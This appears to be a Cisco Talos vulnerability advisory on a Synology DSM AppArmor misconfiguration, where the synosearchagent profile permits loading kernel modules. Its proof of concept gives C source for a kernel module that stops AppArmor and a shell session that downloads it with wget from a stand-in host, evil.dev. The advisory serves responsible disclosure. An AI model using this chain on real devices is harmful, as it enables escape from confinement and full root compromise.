Talos Vulnerability Report

TALOS-2020-1158

Synology DSM AppArmor synosearchagent misconfiguration vulnerability

APRIL 19, 2020

CVE NUMBER

CVE-2021-26563

Summary

A misconfiguration exists in AppArmor's synosearchagent profile of Synology DSM 6.2.3 25426 DS120j. A specially crafted kernel module can be loaded, leading to a bypass of AppArmor's restrictions. An attacker can use insmod to trigger this vulnerability.

Tested Versions

Synology DSM 6.2.3 25426-2 DS120j

Product URLs

https://www.synology.com/en-global/dsm

CVSSv3 Score

6.7 - CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-284 - Improper Access Control

Details

Synology DiskStation Manager (DSM) is the Linux-based operating system for every Synology NAS.

Synology DSM uses AppArmor to restrict applications' capabilities within their OS.

The majority of the services in DSM are running as UID 0 (root):

```
# ps -o pid,user,ucmd -U 0|grep -e syno -e nginx
2644 root     synologaccd
2745 root     synoconfd
2754 root     synonetd
3651 root     synologrotated
4873 root     synologand
4876 root     synocrond
4975 root     synostoraged
4977 root     synostoraged
4980 root     synostoraged
5229 root     synobackupd
6606 root     synoscgi_______
6630 root     synosnmpcd
6651 root     synocgid
6659 root     synoagentregist
6923 system   synoscgi_______
6925 system   synoscgi_______
6926 system   synoscgi_______
6927 system   synoscgi_______
6930 system   synoscgi_______
7050 root     nginx
7692 root     synodisklatency
7714 root     synorelayd
8443 root     synoelasticd
```

Since these services are restricted via AppArmor, it is interesting to analyze their profile:

```
# aa-status
apparmor module is loaded.
139 profiles are loaded.
132 profiles are in enforce mode.
   /usr/bin/httpd
   /usr/bin/ldapsearch
   /usr/bin/nginx
   /usr/sbin/avahi-daemon
   /usr/sbin/dhclient
   /usr/sbin/dmidecode
   /usr/sbin/idmapd
   /usr/sbin/mountd
   /usr/sbin/rpcbind
   /usr/sbin/statd
   ...
10 processes are in enforce mode.
   /usr/sbin/avahi-daemon (8340)
   /usr/sbin/dhclient (4544)
   /usr/sbin/dhclient (4670)
   /usr/syno/bin/synosearchagent (6520)      [1]
   /usr/syno/sbin/synoscgi (6438)
   /usr/syno/sbin/synoscgi (6891)
   /usr/syno/sbin/synoscgi (6895)
   /usr/syno/sbin/synoscgi (6896)
   /usr/syno/sbin/synoscgi (6897)
   /usr/syno/sbin/synoscgi (6898)
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.
```

One of the confined processes is `synosearchagent` [1], which was the subject of a previous issue described in TALOS-2020-1159
Unfortunately, if we want to check the profile assigned to this binary, we're left with just the `cache` entry, which is a compiled version of the profile:

```
# grep -r synosearchagent /etc/apparmor.d
Binary file /etc/apparmor.d/cache/usr.syno.bin.synosearchagent matches
/etc/apparmor.d/abstractions/synoscgi:/usr/syno/bin/synosearchagent                                                px,
```

The binary profiles are sent directly to the AppArmor kernel interface, and lack a notable amount of information compared to the original plaintext profile. As it was discussed in an https://gitlab.com/apparmor/apparmor/-/issues/57, a decompilation tool is not publicly available and would require a considerable effort to implement. For this reason, we analyzed the profile manually, by executing a shell that runs with the same restrictions imposed by `synosearchagent` (this is equivalent to being able to execute code as `synosearchagent`, as demonstrated in TALOS-2020-1159):

```
# cd /usr/syno/bin
# mv synosearchagent synosearchagent.orig
# cp /bin/bash synosearchagent
# ./synosearchagent
synosearchagent-4.3# id
uid=0(root) gid=0(root) groups=0(root),2(daemon),19(log)
synosearchagent-4.3# ls /
ls: cannot open directory /: Permission denied
synosearchagent-4.3# dmesg | tail -n 1
[27081.032234] audit: type=1400 audit(1601068479.296:634): apparmor="DENIED" operation="open" profile="/usr/syno/bin/synosearchagent"
name="/" pid=25225 comm="ls" requested_mask="r" denied_mask="r" fsuid=0 ouid=0
```

As we can see, opening the root directory is restricted by the AppArmor profile.

However, we found that the profile allows for loading and removing kernel modules, for example by running `insmod`:

```
synosearchagent-4.3# lsmod|grep hfsplus
synosearchagent-4.3# insmod /usr/lib/modules/hfsplus.ko
synosearchagent-4.3# lsmod|grep hfsplus
hfsplus               100863  0
```

This is equivalent to having kernel code execution, hence it's possible to disable AppArmor and bypass all the restrictions imposed by the profile.

Thus, an attacker able to execute code as root in `synosearchagent` (for example by exploiting TALOS-2020-1159) can then use the issue described in this advisory to gain unrestricted root privileges in DSM.

Exploit Proof of Concept

The following proof-of-concept shows how to disable AppArmor in DSM from a restricted `synosearchagent` profile:

An attacker could compile the following module ("aastop.ko") that executes `apparmor.sh stop`, which is a startup script that can be used to manage AppArmor.

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kmod.h>

int init_module(void) {
  char * envp[] = { "HOME=/", NULL };
  char * argv[] = { "/bin/bash", "/usr/syno/etc.defaults/rc.sysv/apparmor.sh", "stop", NULL };
  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
  printk(KERN_INFO "Executed.\n");
  return 0;
}
```

Next the attacker can download and insert the module (assuming it's running code in the `synosearchagent` process:

```
synosearchagent-4.3# ls /                                                [1]
ls: cannot open directory /: Permission denied
synosearchagent-4.3# wget http://evil.dev/aastop.ko -O /tmp/aastop.ko
synosearchagent-4.3# insmod /tmp/aastop.ko
synosearchagent-4.3# dmesg|tail -n1
[27363.832373] Executed.
synosearchagent-4.3# ls /                                                [2]
bin dev  etc.defaults  lib    lib64       mnt   root  sbin  tmp  usr  var.defaults
config  etc  initrd    lib32  lost+found  proc  run   sys   tmpRoot  var  volume1
synosearchagent-4.3# aa-status
apparmor module is loaded.
0 profiles are loaded.
0 profiles are in enforce mode.
0 profiles are in complain mode.
0 processes have profiles defined.
0 processes are in enforce mode.
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.
```

As we can see the we now have permission to access the root directory and all AppArmor profiles have been unloaded.

Timeline

2020-09-29 - Vendor Disclosure

2021-02-25 - Vendor Patched

CREDIT

Discovered by Claudio Bozzato and Lilith >_> of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2020-1012

NEXT REPORT TALOS-2020-1218

© 2022 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy.